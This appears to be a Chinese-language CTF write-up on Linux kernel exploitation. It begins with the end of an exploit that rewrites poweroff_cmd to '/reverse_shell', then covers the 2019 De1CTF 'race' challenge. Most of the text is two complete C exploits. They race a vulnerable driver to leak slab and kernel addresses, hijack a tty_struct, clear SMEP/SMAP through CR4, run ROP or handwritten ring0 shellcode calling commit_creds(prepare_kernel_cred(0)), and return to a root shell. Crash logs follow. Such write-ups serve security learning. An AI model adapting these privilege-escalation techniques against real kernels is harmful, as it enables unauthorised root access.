//-------------------------------------------------------------------------------
size_t* tmp_buf = malloc(0x18);
size_t offset = module + 0x165;
tmp_buf[0] = 0 ^ key;
tmp_buf[1] = 4 ^ key;
tmp_buf[2] = offset ^ key;
edit(1,tmp_buf);

size_t page_offset_base_offset = 0;
show(2,&page_offset_base_offset);
page_offset_base_offset += 0xffffffff00000000;
printf("[:)]page_offset_base_offset = %p\n",page_offset_base_offset);

tmp_buf[0] = 0 ^ key;
tmp_buf[1] = 8 ^ key;
tmp_buf[2] = (module + 0x169 + page_offset_base_offset) ^ key;
edit(1,tmp_buf);

size_t page_offset_base = 0;
show(2,&page_offset_base);
printf("[:)]page_offset_base = %p\n",page_offset_base);
//-------------------------------------------------------------------------------
offset = module + 0x1cd;
tmp_buf[0] = 0 ^ key;
tmp_buf[1] = 4 ^ key;
tmp_buf[2] = offset ^ key;
edit(1,tmp_buf);

size_t copy_to_user_offset = 0;
show(2,&copy_to_user_offset);
copy_to_user_offset += 0xffffffff00000000;
printf("[:)]copy_to_user_offset = %p\n",copy_to_user_offset);

size_t kernel_base = module + page_offset_base + copy_to_user_offset + 0x1d1 - 0x353ee0;
printf("[:)]kernel_base = %p\n",kernel_base);

//ffffffff8205d940 D poweroff_cmd
//ffffffff8131f830 T security_task_prctl
size_t poweroff_cmd = kernel_base + (0xffffffff8205d940-0xffffffff81000000);
tmp_buf[0] = 0 ^ key;
tmp_buf[1] = 15 ^ key;
tmp_buf[2] = (poweroff_cmd - page_offset_base) ^ key;
edit(1,tmp_buf);
strcpy(user_buf,"/reverse_shell");
edit(2,user_buf);

size_t prctl_hook = kernel_base + 0xeb0460;
size_t poweroff_work_func = kernel_base + 0xad300;
tmp_buf[0] = 0 ^ key;
tmp_buf[1] = 8 ^ key;
tmp_buf[2] = (prctl_hook - page_offset_base) ^ key;
edit(1,tmp_buf);
edit(2,&poweroff_work_func); //报错
//prctl(PR_SET_NAME,"xiaoxiaorenwu..");

return 0;
}

2019DelCTF_race:

这道题做的真的难受,最讨厌竞争的题目了,没法调试,只能靠理论和碰撞。开始的竞态读成功了,我本地线程设为8,大概跑二十次能成功一次,设为10的时候成功概率很低。。。设为太小和太大时都成功不了。

然后到O_DIRECTslub地址写入文件时,又一直打开文件失败,我查了资料说缓冲区大小必须为512的倍数,这也是为什么wp给的buf是用posix_memalign(&buf,512,1024)申请到的,我照做了,然后依然失败,一直返回-1,不知道为啥。。。然后我就想试试普通的写文件,然后mmap映射,然后打开文件是成功的,但是后面会报错。。。。

x1.PNG

然后调了一下午也没调好。。。太菜了orz。。。真的难受做的,不像那种可以调试的题,这题根本调试不了啊QAQ,或者是我不会调试。。。先放在这吧。

struck了。。。难受。。。

续:

我不是轻言放弃的人!!!又看了一天,终于他妈的本地打通了。。。这题是真的恶心。。我果然太菜了orz。这道题值得好好记录一下。

challenge1:

为了搞清楚到底为啥panic,我关了kaslr一步一步地跟,在泄露了slub地址后开始查看内核的内存,把所有用户态喷射的内存的别页面都找到了。。。找了好久,我透:

1
2
3
4
5
6
7
8
9
10
11
12
//         0x4000000
//0xffff888000200000-0xffff888000400000
//0xffff888000e09000-0xffff888001000000
//0xffff888001e09000-0xffff888001e0b000
//0xffff888001e10000-0xffff888002000000
//0xffff888002950000-0xffff888002a90000
//0xffff888002c0d000-0xffff888002c0e000
//0xffff888002c10000-0xffff888004c00000
//0xffff888005e15000-0xffff888005eef000
//0xffff888006800000-0xffff888006a00000
//0xffff888006a2e000-0xffff888007800000
//0xffff888007c00000-0xffff888007fe0000 target:0xffff888007000000

我们一共喷了0x4000000大小的内存,我们的target_addr0xffff88807000000,到这里我终于知道了为啥之前panic了,因为我之前只将泄露的地址的后三位清零了,结果其大部分结果为:0xffff88807bxx000,对着地图可见,这个地址并不在喷射范围内。。。所以一直找不到,后来把后六位都清零了后就可以找得到了,但是貌似这并不是panic的原因。。。因为我们可以看到他的报错是:kernel_buf at mm/slub.c,我们这个找不到地址和这个错误明显无关,真正的原因下一步才找到。

challenge2:

找到之后,瞬间报错:

x1.PNG

我非常疑惑,我明明啥都没干啊。。。为啥又会分配内存??我猜测报错是在程序返回之后,继续与shell交互时产生的,于是我用getcharreturn 0之前卡住:

x1.PNG

果然是这样,我们的exp其实没问题,是因为我们竞争写的时候破坏了0x2c0这个size的slab缓冲区,导致shell交互时如果恰好申请0x2c0的内存时就会出错。这也是上一步出错的根本原因。所以我们只要在return之前卡住exp即可。

challenge3:

之后就是open("/dev/ptmx",2),我们可以在用户态控制pts,但是和常规的ptmx不同,我调用write时,pts会报错:[ 14.688700] general protection fault: 0000 [#1] SMP PTI,到现在也不知道为啥,求大佬解答orz,总之导致我没办法使用mov rax,rsp;..........pop r12.....push r12;ret;这个gadget,但是ioctl只有rdirbpr14指向tty_struct,我没找到合适的gadget来栈迁移,所以只得用set_memory_x来使内存可执行,因为此时rdi恰好为tty_structrsi我们可以控制,所以我们就可以运行ring0态的shellcode了。

challenge4:

但是我不会写ring0态的shellcode。。。网上查了一波也没什么结果,比较麻烦的是ring0态没有用户态这么多函数aip,首先提权函数我不知道怎么调用,即使可以调用,我也没法成功返回用户态拿shell,因为我没法布置ireq需要的寄存器,c语言不像python有pwntools库,带有asm功能,c的内联汇编只能作为指令,不能汇编成字符串使用。所以想了一会后,觉得还是只能自己写几个gadget,配合当时寄存器的情况来进行栈迁移,最后还是rop提权比价合适。

因为当时rditty_struct地址,所以我的shellcode为:

1
2
3
4
add rdi,0x500;
push rdi;
pop rsp;
ret;

我已经在tty_struct+0x500处布置好了ropchain,之后就可以rop了。

challenge5:

终于,栈被我成功迁移了!!!可以看到我们已经提权成功了,并且ip已经到了get_shell函数里,但是用system开启shell时还是会报错,从显示的错误原因来看应该还是内存申请的问题。

x2.PNG

然后我换了用execv来开shell,成功开启shell,并且可以输入lsid等命令,但是cat flag竟然又崩了。。。orz。

最后我只得改用了orw直接打印flag。。。最后开启kaslr也可以成功,把race_read部分加了个循环,就不用了一直按了,不然太麻烦了hhh。最终效果:

x3.PNG

还是太菜了。。调了快一天半。。。

最终exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <sys/prctl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <memory.h>
#include <pty.h>
#include <signal.h>

#define threadnum 10
#define spray_times 1024
#define mmap_size 1024*64

struct user_chunk{
size_t size;
char* buf;
};

struct user_chunk* user_ptr;
int fd;
char* mmap_arry[spray_times];
int ptmx;
size_t commit_creds = 0;
size_t prepare_kernel_cred = 0;
int show_key;

void show(size_t size,char* buf){
user_ptr->size = size;
user_ptr->buf = buf;
if(ioctl(fd,0x23334,user_ptr) < 0){
show_key = 1;
return;
}
}

void new(size_t size,char* buf){
user_ptr->size = size;
user_ptr->buf = buf;
if(ioctl(fd,0x23333,user_ptr) < 0){
puts("[:(]new error...");
exit(-1);
}
}

void delete(){
if(ioctl(fd,0x23335,user_ptr) < 0){
puts("[:(]delete error...");
exit(-1);
}
}

void race_delete(){
delete();
}

size_t* check(){
for(int i = 0;i < spray_times;i++){
unsigned long *p = mmap_arry[i];
int j = 0;
while (j < mmap_size/8)
{
if (p[j] != 0x6161616161616161){
puts("[:)]find it!!!");
printf("[:)]object = %p\n",p[j]);
return &p[j];
}
j += 0x200;
}
}
return NULL;
}

void get_shell(){
if(getuid() == 0){
puts("[:)]Root now!!!");

int fd = open("/flag",O_RDONLY);
if(fd < 0){
puts("[:(]open flag error...");
exit(-1);
}
char* buf = malloc(0x100);
memset(buf,'\x00',0x100);
read(fd,buf,0x100);
printf("[:)]flag is here: %s\n",buf);
char* args[2] = {"/bin/sh", NULL};
execv("/bin/sh", args);
}
else{
puts("[:(]Not root...");
exit(0);
}
}

size_t user_cs,user_ss,user_rsp,user_rflags;
void save(){
__asm__(
"mov user_cs,cs;"
"mov user_ss,ss;"
"mov user_rsp,rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[:)]Save success!!!");
}

int get_ptmx_slave()
{
const char *pts_name;
if (grantpt(ptmx) < 0 || unlockpt(ptmx) < 0){
puts("[:(]grantpt and unlockpt fail\n");
exit(-1);
}

pts_name = (const char *)ptsname(ptmx);
int fds = open(pts_name, O_RDONLY | O_NOCTTY);
if (fds < 0){
puts("[:(]open /dev/ptmx fail\n");
exit(-1);
}
return fds;
}

int main(){
save();
signal(SIGSEGV,get_shell);

pthread_t pt[threadnum];
int t[10];
char* user_buf = malloc(0x1000);
size_t slub = 0;
char* user_mmap;
size_t kernel_offset = 0x106b4e0;
size_t kernel_base = 0;

for(int i = 0;i < 10;i++)
{
t[i] = open("/dev/ptmx",O_RDWR);
if (t[i] == -1){
puts("[:(]open ptmx error");
exit(-1);
}
}
for (int i = 0;i < 10;i++)
close(t[i]);
//-------------------------------------------------------------------
fd = open("/dev/test",2);
if(fd < 0){
puts("[:(]open error...");
exit(-1);
}
user_ptr = malloc(0x10);
memset(user_buf,'\x11',0x1000);
start1:
new(0x2c0,user_buf);
start2:
user_mmap = mmap(NULL,0x1000,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0);
if(user_mmap < 0){
puts("[:(]mmap error...");
exit(-1);
}
for(int i = 0;i < threadnum;i++){
if(pthread_create(&pt[i],NULL,race_delete,NULL) != 0){
puts("[:(]pthread_create error...");
exit(-1);
}
}
show(7,user_mmap);
for(int i = 0;i < threadnum;i++){
pthread_join(pt[i],NULL);
}
if(show_key == 1){
show_key = 0;
goto start1;
}
slub = *(size_t*)user_mmap;
if(slub < 0xff000000000000){
goto start2;
}
slub = slub | 0xff00000000000000;
slub = slub & 0xffffffffff000000;
printf("[:)]race success!!!\n[:)]slub = %p\n",slub);
//------------------------------------------------------------------------------
for(int i = 0;i < spray_times;i++){
mmap_arry[i] = mmap(NULL,mmap_size,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0);
if(mmap_arry[i] < 0){
puts("[:(]mmap error...");
exit(-1);
}
memset(mmap_arry[i],'a',mmap_size);
}
//------------------------------------------------------------------------------
// 0x4000000
//0xffff888000200000-0xffff888000400000
//0xffff888000e09000-0xffff888001000000
//0xffff888001e09000-0xffff888001e0b000
//0xffff888001e10000-0xffff888002000000
//0xffff888002950000-0xffff888002a90000
//0xffff888002c0d000-0xffff888002c0e000
//0xffff888002c10000-0xffff888004c00000
//0xffff888005e15000-0xffff888005eef000
//0xffff888006800000-0xffff888006a00000
//0xffff888006a2e000-0xffff888007800000
//0xffff888007c00000-0xffff888007fe0000 target:0xffff888007000000
char *buf = malloc(0x1000);
int tmp_fd = open("./data",O_RDWR);
if(tmp_fd == -1){
puts("[:(]data_file open error...");
exit(-1);
}
*(size_t*)buf = slub;
if(write(tmp_fd,buf,0x1000) < 0){
puts("[:(]data write error...");
exit(-1);
}
free(buf);
//------------------------------------------------------------------------------
size_t* ret_addr = 0;
char* tmp_addr = 0;
for(int i = 0;i < 1000;i++){
tmp_addr = mmap(NULL,0x1000,PROT_READ,MAP_PRIVATE,tmp_fd,0);
if (tmp_addr == MAP_FAILED){
puts("[:(]data mmap fail...");
exit(-1);
}
for (int j = 0; j < threadnum; j++){
if(pthread_create(&pt[j],NULL,race_delete,NULL) != 0){
puts("[:(]pthread error...");
exit(-1);
}
}
new(0x2c0,tmp_addr);
for (int j = 0; j < threadnum; j++)
pthread_join(pt[j],NULL);
ptmx = open("/dev/ptmx",O_RDWR);
ret_addr = check();
if(ret_addr != NULL){
break;
}
close(ptmx);
}
if(ret_addr == 0){
puts("[:(]bad luck...");
exit(0);
}

close(tmp_fd);
kernel_base = ret_addr[3] - kernel_offset;
printf("[:)]ret_addr = %p\n",ret_addr);
printf("[:)]kernel_base = %p\n", kernel_base);
commit_creds = kernel_base + 0x82d30;
prepare_kernel_cred = kernel_base + 0x83000;
size_t key = kernel_base + 0xC010BC;
size_t pop_rdi = kernel_base + 0x139b;
size_t mov_cr4 = kernel_base + 0x4f582;
size_t leave = kernel_base + 0x1c4570;
size_t set_memory_x = kernel_base + 0x55580;
//0xffffffff8104f582: mov cr4, rdi; push rdx; popfq; ret;
//0xffffffff8100139b: pop rdi; ret;
//0xffffffff811c4570: leave; ret;
//0xffffffff819fe4e2: mov rdi, rax; mov qword ptr [rdi], 1; ret;
//0xffffffff81a09016: swapgs; ret;
//0xffffffff81021f52: iretq; ret;
int pts = get_ptmx_slave();

ret_addr[3] = slub + 0x300;
ret_addr[0x300/8+12] = set_memory_x;

ret_addr[0x500/8+0] = pop_rdi;
ret_addr[0x500/8+1] = 0x6f0;
ret_addr[0x500/8+2] = mov_cr4;
ret_addr[0x500/8+3] = pop_rdi;
ret_addr[0x500/8+4] = 0;
ret_addr[0x500/8+5] = (size_t)prepare_kernel_cred;
ret_addr[0x500/8+6] = kernel_base + 0x9fe4e2;
ret_addr[0x500/8+7] = (size_t)commit_creds;
ret_addr[0x500/8+8] = kernel_base + 0xa09016;
ret_addr[0x500/8+9] = kernel_base + 0x21f52;
ret_addr[0x500/8+10] = (size_t)get_shell;
ret_addr[0x500/8+11] = user_cs;
ret_addr[0x500/8+12] = user_rflags;
ret_addr[0x500/8+13] = user_rsp;
ret_addr[0x500/8+14] = user_ss;
ioctl(pts,0x2333,1);

char *shellcode = "H\x81\xc7\x00\x05\x00\x00" //add rdi,0x500;
"W" //push rdi;
"\x5c" //pop rsp;
"\xc3"; //ret;
ret_addr[0x300/8+12] = slub + 0x400;
memcpy((char *)ret_addr+0x400,shellcode,10);
ioctl(pts,0x2333,1);

puts("[:(]final....");
getchar();
return 0;
}

反思:

查阅了一番资料,找到了一篇有写ring0提权的shellcode的文章,给出了思路之后,shellcode终于被我凑了出来。。。感觉应该可以通用233。

反思exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <pthread.h>
#include <sys/prctl.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <memory.h>
#include <pty.h>
#include <signal.h>

#define threadnum 10
#define spray_times 1024
#define mmap_size 1024*64

struct user_chunk{
size_t size;
char* buf;
};

struct user_chunk* user_ptr;
int fd;
char* mmap_arry[spray_times];
int ptmx;
size_t commit_creds = 0;
size_t prepare_kernel_cred = 0;
int show_key;

void show(size_t size,char* buf){
user_ptr->size = size;
user_ptr->buf = buf;
if(ioctl(fd,0x23334,user_ptr) < 0){
show_key = 1;
return;
}
}

void new(size_t size,char* buf){
user_ptr->size = size;
user_ptr->buf = buf;
if(ioctl(fd,0x23333,user_ptr) < 0){
puts("[:(]new error...");
exit(-1);
}
}

void delete(){
if(ioctl(fd,0x23335,user_ptr) < 0){
puts("[:(]delete error...");
exit(-1);
}
}

void race_delete(){
delete();
}

size_t* check(){
for(int i = 0;i < spray_times;i++){
unsigned long *p = mmap_arry[i];
int j = 0;
while (j < mmap_size/8)
{
if (p[j] != 0x6161616161616161){
puts("[:)]find it!!!");
printf("[:)]object = %p\n",p[j]);
return &p[j];
}
j += 0x200;
}
}
return NULL;
}

void get_shell(){
if(getuid() == 0){
puts("[:)]Root now!!!");

int fd = open("/flag",O_RDONLY);
if(fd < 0){
puts("[:(]open flag error...");
exit(-1);
}
char* buf = malloc(0x100);
memset(buf,'\x00',0x100);
read(fd,buf,0x100);
printf("[:)]flag is here: %s\n",buf);
char* args[2] = {"/bin/sh", NULL};
execv("/bin/sh", args);
}
else{
puts("[:(]Not root...");
exit(0);
}
}

size_t user_cs,user_ss,user_rsp,user_rflags;
void save(){
__asm__(
"mov user_cs,cs;"
"mov user_ss,ss;"
"mov user_rsp,rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[:)]Save success!!!");
}

int get_ptmx_slave()
{
const char *pts_name;
if (grantpt(ptmx) < 0 || unlockpt(ptmx) < 0){
puts("[:(]grantpt and unlockpt fail\n");
exit(-1);
}

pts_name = (const char *)ptsname(ptmx);
int fds = open(pts_name, O_RDONLY | O_NOCTTY);
if (fds < 0){
puts("[:(]open /dev/ptmx fail\n");
exit(-1);
}
return fds;
}

int main(){
save();
signal(SIGSEGV,get_shell);

pthread_t pt[threadnum];
int t[10];
char* user_buf = malloc(0x1000);
size_t slub = 0;
char* user_mmap;
size_t kernel_offset = 0x106b4e0;
size_t kernel_base = 0;

for(int i = 0;i < 10;i++)
{
t[i] = open("/dev/ptmx",O_RDWR);
if (t[i] == -1){
puts("[:(]open ptmx error");
exit(-1);
}
}
for (int i = 0;i < 10;i++)
close(t[i]);
//-------------------------------------------------------------------
fd = open("/dev/test",2);
if(fd < 0){
puts("[:(]open error...");
exit(-1);
}
user_ptr = malloc(0x10);
memset(user_buf,'\x11',0x1000);
start1:
new(0x2c0,user_buf);
start2:
user_mmap = mmap(NULL,0x1000,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0);
if(user_mmap < 0){
puts("[:(]mmap error...");
exit(-1);
}
for(int i = 0;i < threadnum;i++){
if(pthread_create(&pt[i],NULL,race_delete,NULL) != 0){
puts("[:(]pthread_create error...");
exit(-1);
}
}
show(7,user_mmap);
for(int i = 0;i < threadnum;i++){
pthread_join(pt[i],NULL);
}
if(show_key == 1){
show_key = 0;
goto start1;
}
slub = *(size_t*)user_mmap;
if(slub < 0xff000000000000){
goto start2;
}
slub = slub | 0xff00000000000000;
slub = slub & 0xffffffffff000000;
printf("[:)]race success!!!\n[:)]slub = %p\n",slub);
//------------------------------------------------------------------------------
for(int i = 0;i < spray_times;i++){
mmap_arry[i] = mmap(NULL,mmap_size,PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANONYMOUS,-1,0);
if(mmap_arry[i] < 0){
puts("[:(]mmap error...");
exit(-1);
}
memset(mmap_arry[i],'a',mmap_size);
}
//------------------------------------------------------------------------------
// 0x4000000
//0xffff888000200000-0xffff888000400000
//0xffff888000e09000-0xffff888001000000
//0xffff888001e09000-0xffff888001e0b000
//0xffff888001e10000-0xffff888002000000
//0xffff888002950000-0xffff888002a90000
//0xffff888002c0d000-0xffff888002c0e000
//0xffff888002c10000-0xffff888004c00000
//0xffff888005e15000-0xffff888005eef000
//0xffff888006800000-0xffff888006a00000
//0xffff888006a2e000-0xffff888007800000
//0xffff888007c00000-0xffff888007fe0000 0xffff888007b90000
char *buf = malloc(0x1000);
int tmp_fd = open("./data",O_RDWR);
if(tmp_fd == -1){
puts("[:(]data_file open error...");
exit(-1);
}
*(size_t*)buf = slub;
if(write(tmp_fd,buf,0x1000) < 0){
puts("[:(]data write error...");
exit(-1);
}
free(buf);
//------------------------------------------------------------------------------
size_t* ret_addr = 0;
char* tmp_addr = 0;
for(int i = 0;i < 1000;i++){
tmp_addr = mmap(NULL,0x1000,PROT_READ,MAP_PRIVATE,tmp_fd,0);
if (tmp_addr == MAP_FAILED){
puts("[:(]data mmap fail...");
exit(-1);
}
for (int j = 0; j < threadnum; j++){
if(pthread_create(&pt[j],NULL,race_delete,NULL) != 0){
puts("[:(]pthread error...");
exit(-1);
}
}
new(0x2c0,tmp_addr);
for (int j = 0; j < threadnum; j++)
pthread_join(pt[j],NULL);
ptmx = open("/dev/ptmx",O_RDWR);
ret_addr = check();
if(ret_addr != NULL){
break;
}
close(ptmx);
}
if(ret_addr == 0){
puts("[:(]bad luck...");
exit(0);
}

close(tmp_fd);
kernel_base = ret_addr[3] - kernel_offset;
printf("[:)]ret_addr = %p\n",ret_addr);
printf("[:)]kernel_base = %p\n", kernel_base);

commit_creds = kernel_base + 0x82d30;
prepare_kernel_cred = kernel_base + 0x83000;
size_t key = kernel_base + 0xC010BC;
size_t pop_rdi = kernel_base + 0x139b;
size_t mov_cr4 = kernel_base + 0x4f582;
size_t leave = kernel_base + 0x1c4570;
size_t set_memory_x = kernel_base + 0x55580;
//0xffffffff8104f582: mov cr4, rdi; push rdx; popfq; ret;
//0xffffffff8100139b: pop rdi; ret;
//0xffffffff811c4570: leave; ret;
//0xffffffff819fe4e2: mov rdi, rax; mov qword ptr [rdi], 1; ret;
//0xffffffff81a09016: swapgs; ret;
//0xffffffff81021f52: iretq; ret;
int pts = get_ptmx_slave();

ret_addr[3] = slub + 0x300;
ret_addr[0x300/8+12] = set_memory_x;

ret_addr[0x500/8+0] = pop_rdi;
ret_addr[0x500/8+1] = 0x6f0;
ret_addr[0x500/8+2] = mov_cr4;
ret_addr[0x500/8+3] = pop_rdi;
ret_addr[0x500/8+4] = 0;
ret_addr[0x500/8+5] = (size_t)prepare_kernel_cred;
ret_addr[0x500/8+6] = kernel_base + 0x9fe4e2;
ret_addr[0x500/8+7] = (size_t)commit_creds;
ret_addr[0x500/8+8] = kernel_base + 0xa09016;
ret_addr[0x500/8+9] = kernel_base + 0x21f52;
ret_addr[0x500/8+10] = (size_t)get_shell;
ret_addr[0x500/8+11] = user_cs;
ret_addr[0x500/8+12] = user_rflags;
ret_addr[0x500/8+13] = user_rsp;
ret_addr[0x500/8+14] = user_ss;
ioctl(pts,0x2333,1);

/*
char *shellcode = "H\x81\xc7\x00\x05\x00\x00" //add rdi,0x500;
"W" //push rdi;
"\x5c" //pop rsp;
"\xc3"; //ret;
*/
char* shellcode = malloc(0x100);
memset(shellcode,'\x90',0x100);
char* tmp = shellcode;
*(unsigned short *)tmp = 0x9090;
tmp += 2;
*(unsigned long *)tmp = 0x90ff3148;
tmp += 3;
*(unsigned short *)tmp = 0xb848;
tmp += 2;
*(unsigned long *)tmp = prepare_kernel_cred;
tmp += 8;
*(unsigned short *)tmp = 0xd0ff;
tmp += 2;
*(unsigned long *)tmp = 0x90c78948;
tmp += 3;
*(unsigned short *)tmp = 0xb848;
tmp += 2;
*(unsigned long *)tmp = commit_creds;
tmp += 8;
*(unsigned short *)tmp = 0xd0ff;
tmp += 2;
*(unsigned int *)tmp = 0xf0c7c748; //mov rdi,0x6f0;
tmp += 4;
*(unsigned char *)tmp = 0x06;
tmp += 1;
*(unsigned short*)tmp = 0x0;
tmp += 2;
*(unsigned short*)tmp = 0x220f; //mov cr4,rdi;
tmp += 2;
*(unsigned char*)tmp = 0xe7;
tmp += 1;
*(unsigned char*)tmp = 0x6a; //push user_ss
tmp += 1;
*(unsigned char*)tmp = (unsigned char)user_ss;
tmp += 1;
*(unsigned short *)tmp = 0xB848; //push user_rsp
tmp += 2;
*(unsigned long *)tmp = user_rsp;
tmp += 8;
*(unsigned char *)tmp = 'P';
tmp += 1;
*(unsigned char*)tmp = 0x68; //push rflags
tmp += 1;
*(unsigned int*)tmp = (unsigned int)user_rflags;
tmp += 4;
*(unsigned char*)tmp = 0x6a; //push user_cs
tmp += 1;
*(unsigned char*)tmp = (unsigned char)user_cs;
tmp += 1;
*(unsigned char*)tmp = 0x68; //push get_shell
tmp += 1;
*(unsigned int*)tmp = (unsigned int)get_shell;
tmp += 4;
*(unsigned short*)tmp = 0x010f; //swapgs;
tmp += 2;
*(unsigned char*)tmp = 0xf8;
tmp += 1;
*(unsigned short*)tmp = 0xcf48; //iretq;
tmp += 2;

ret_addr[0x300/8+12] = slub + 0x400;
memcpy((char *)ret_addr+0x400,shellcode,0x100);
ioctl(pts,0x2333,1);

puts("[:(]final....");
getchar();
return 0;
}

x1.PNG

再次反思:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
./exp
0x1234000 = 0xffffa18e8442dc00
[ 39.672314] general protection fault: 0000 [#1] SMP PTI
[ 39.673411] CPU: 0 PID: 1096 Comm: exp Tainted: G O 5.0.0-rc8+ #2
[ 39.673662] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014
[ 39.674586] RIP: 0010:__kmalloc+0x8d/0x1a0
...
...
[ 39.682351] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 39.682456] CR2: 00007ffe6ddfcfb0 CR3: 0000000004484000 CR4: 00000000003006f0
~ $ $ id
id
uid=1000(ctf) gid=1000(ctf) groups=1000(ctf)
~ $ $ exit
exit
umount: can't unmount /dev: Device or resource busy
[ 46.133945] sd 0:0:0:0: [sda] Synchronizing SCSI cache
[ 46.135758] sd 0:0:0:0: [sda] Stopping disk
[ 46.139729] general protection fault: 0000 [#2] SMP PTI
[ 46.139867] CPU: 0 PID: 1102 Comm: poweroff Tainted: G D O 5.0.0-rc8+ #2
[ 46.140011] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014
[ 46.140215] RIP: 0010:kmem_cache_alloc_trace+0x6e/0x160
[ 46.140349] Code: 00 00 00 4d 8b 07 65 49 8b 50 08 65 4c 03 05 f1 ee 65 71 49 8b 28 48 85 ed 0f 84 ae 00 00 00 41 8b 47 20 49 8b 3f 48 8d 4a 01 <48> 8b 5c 05 00 48 89 e8 65 48 0f c7 0f 0f 94 c0 84 c0 74 c5 41 8b
[ 46.140750] RSP: 0018:ffffa845800dfb18 EFLAGS: 00000206
[ 46.140865] RAX: 0000000000000000 RBX: ffffa18e84b8f0c0 RCX: 0000000000000a2f
[ 46.141008] RDX: 0000000000000a2e RSI: 00000000006080c0 RDI: 0000000000023cc0
[ 46.141151] RBP: 4141414141414141 R08: ffffa18e87823cc0 R09: 0000000000000000
[ 46.141300] R10: ffffa18e854d7690 R11: 000000000000005f R12: 00000000006080c0
...
...
[ 46.163526] R10: ffffa845800e7d40 R11: 000000000000b702 R12: 00000000006080c0
[ 46.163739] R13: 0000000000000385 R14: ffffa18e85401500 R15: ffffffffc02f8064
[ 46.163873] FS: 000000000201a880(0000) GS:ffffa18e87800000(0000) knlGS:0000000000000000
[ 46.164019] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 46.164126] CR2: 00000000004af430 CR3: 0000000004490000 CR4: 00000000003006f0

Please press Enter to activate this console. $

/ # $ id
id
uid=0(root) gid=0(root)
/ # $ ls
ls
bin etc home linuxrc sbin tmp
dev flag lib proc sys usr
/ # $ cat flag
cat flag
[ 57.514984] general protection fault: 0000 [#4] SMP PTI
[ 57.515146] CPU: 0 PID: 1110 Comm: cat Tainted: G D O 5.0.0-rc8+ #2
[ 57.515284] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014
[ 57.515482] RIP: 0010:__kmalloc+0x8d/0x1a0
[ 57.515633] Code: 01 00 00 4d 8b 06 65 49 8b 50 08 65 4c 03 05 d2 e4 65 71 49 8b 28 48 85 ed 0f 84 cf 00 00 00 41 8b 46 20 49 8b 3e 48 8d 4a 01 <48> 8b 5c 05 00 48 89 e8 65 48 0f c7 0f 0f 94 c0 84 c0 74 c5 41 8b
...
...
[ 57.524166] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[ 57.524274] CR2: 00007ffef6c32a28 CR3: 0000000004460000 CR4: 00000000003006f0
Segmentation fault
